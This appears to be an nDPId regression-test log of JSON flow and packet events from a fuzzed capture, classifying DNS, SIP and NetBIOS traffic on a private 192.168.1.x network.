+01038{"flow_id":45,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469956,"pkt_ts_usec":406918,"pkt_caplen":512,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":512,"pkt_l4_len":478,"pkt":"AODtAU69ADBUADRWCABFAAHyAABAADcRijvU8iEjwKgBAhPEE8QB2ijZU0lQLzIuMCAyMDAgT0sNCkNhbGwtSUQ6IDU3ODIyMiVzAC00NjY1ZDc3NUA1NzgyMjI3MzItNDY2NWQ3NzINCntvpXRhY3Q6IDxzaXA6dm9pMTgwNjJAMTklcwA2OC4xLjI6NTA2MDtsaW5lPWFjYTZiOTdjYTNmNWU1MWE+O3E9MC41MDA7ZXhwaXJlcz0xMjAwDQpDU2VxOiA3NSBSRUdJU1RFUg0Kqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":183,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1120469956945,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2740,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":72,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469956,"pkt_ts_usec":945492,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIakgAAIARTQnAqAECwKgBAQq0ADUANP0xLN8BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaSVzAGRrAAAhLwE="} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":183,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1120469956945,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2740,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cyberci_s","num_queries":0,"num_answers":0,"reply_code":0,"query_type":25707,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00466{"flow_id":72,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469957,"pkt_ts_usec":944384,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIakkAAIARTQjAqAECwKgBAQq0ADUANP0xLN82AAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00678{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":184,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":2,"flow_first_seen":1120469956945,"flow_last_seen":1120469957944,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2740,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00466{"flow_id":72,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":185,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469959,"pkt_ts_usec":947225,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIakoAAIARTQfAqAECwKgBAQq0ADUANP0xLN8BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00427{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":186,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469961,"pkt_ts_usec":950106,"pkt_caplen":86,"pkt_type":2151,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CGdFAABIaksAAIARTQbAqAECwKgBAQq0ADUAPP0xLN8BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":186,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":2151} +00466{"flow_id":72,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469965,"pkt_ts_usec":955887,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIakwAAIARTQXAqAECwKgBAQq0ADUANP0xLN8BJXMAAAAAAAAABF9zaXAEX3VkcANzaXAJc3liZXJUaXR5AmRrAAAhAAE="} +00717{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":187,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":4,"flow_first_seen":1120469956945,"flow_last_seen":1120469965955,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2740,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":188,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1120469970215,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":8329,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_id":73,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469970,"pkt_ts_usec":215886,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOak0AAIARTADAqAECwKgB\/wCJIIkAOluRhQoBEAABAAAAAAAAIEVGqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":191,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1120469973957,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2741,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":74,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":191,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469973,"pkt_ts_usec":957831,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEalEAAIARTQTAqAECwKgBAQq1ADUAMPFJM8AAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00653{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":191,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1120469973957,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2741,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":192,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1120469973959,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.130.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2741,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00492{"flow_id":75,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":192,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469973,"pkt_ts_usec":959320,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"YuDtAW69ADBUADRWCABFAABbAABAAEARtz7AqIIBwKgBAgA1CrUAR9PFM8CAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00655{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":192,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1120469973959,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.130.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2741,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00415{"flow_id":45,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":193,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469973,"pkt_ts_usec":960445,"pkt_caplen":47,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":47,"pkt_l4_len":13,"pkt":"ADBUADRWAODtAW69CABFAAAhalIAAIARGLrAqAEC1PIhIxPEE8QADcBLICAgICA="} +00519{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":194,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1120469970215,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":8329,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":194,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1120469970215,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":8329,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":194,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1120469973959,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.130.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2741,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":194,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1120469973957,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2741,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":194,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1120469985981,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2742,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":76,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":194,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469985,"pkt_ts_usec":981224,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIalMAAIARTP7AqAECwKgBAQq2ADUANHZOs8ABAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":194,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1120469985981,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2742,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":195,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1120469986976,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2730,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":77,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":195,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469986,"pkt_ts_usec":976133,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIalQAAIARTP3AqAECwKgBAQqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00466{"flow_id":76,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":196,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469988,"pkt_ts_usec":978989,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIalUAAIARTPzAqAECwKgBAQq2ADUANHZOs8ABAAABAAAAAAB1BF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAjAAE="} +00678{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":196,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":2,"flow_first_seen":1120469985981,"flow_last_seen":1120469988978,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2742,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":35,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00466{"flow_id":76,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":197,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469990,"pkt_ts_usec":981918,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAOLtAW69CABFAABIalYAAIARTPvAqAECwKgBAQq2ADUANHZOs8ABAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00678{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":197,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":3,"flow_first_seen":1120469985981,"flow_last_seen":1120469990981,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2742,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00466{"flow_id":76,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":198,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469994,"pkt_ts_usec":988199,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIalcAAIARTPrAqAECwKgBAQq2ADUANHZOs8ABAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00501{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":199,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1120469986976,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2730,"dst_port":43690,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":199,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1120469986976,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2730,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00647{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":199,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470000,"pkt_ts_usec":407925,"pkt_caplen":243,"pkt_type":2115,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":243,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/AGCXD+5yCENFAADlXL4AAIARWNHAqAEpwKgB\/wCKAIoA0SAWEQKRS8CoASkAigC7AAAgRU1FQkVDREJEQkRCQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0EAIEbuRVBGQ0VMRUhGQ0VQRkZGQUNBQyVzAENBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAIQAAAAAAAAAAAOgDAAAAAAAAAAAhAFYAAwABAAAAAgAyAFxNQUlxU0xPVFxCUk9XU0UAAQCA\/AoATEFCMTExAAAAAA+y781oIgUBAxAAAA8BVaoA"} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":199,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":2115} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":200,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1120470002989,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2743,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":78,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":200,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470002,"pkt_ts_usec":989548,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEalgAAIARTP3AqAECwKgBAQq3ADUAMKhFfMIAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00653{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":200,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1120470002989,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2743,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00492{"flow_id":78,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":201,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470002,"pkt_ts_usec":991048,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CrcAR4rBfMKAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbChvc3QA"} +00675{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":201,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":2,"flow_first_seen":1120470002989,"flow_last_seen":1120470002991,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2743,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":12,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00415{"flow_id":45,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":202,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470002,"pkt_ts_usec":992221,"pkt_caplen":47,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":47,"pkt_l4_len":13,"pkt":"ADBUADRWAODtAW69CABFAAAhalkAAIARGLPAqAEC1PIhIxPEE8QADcBLICAgICA="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":205,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1120470015072,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2744,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00465{"flow_id":79,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":205,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470015,"pkt_ts_usec":72741,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtQW69CABFAABIaloAAIARTPfAqAECwKgBAQq4ADUANOBJScMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 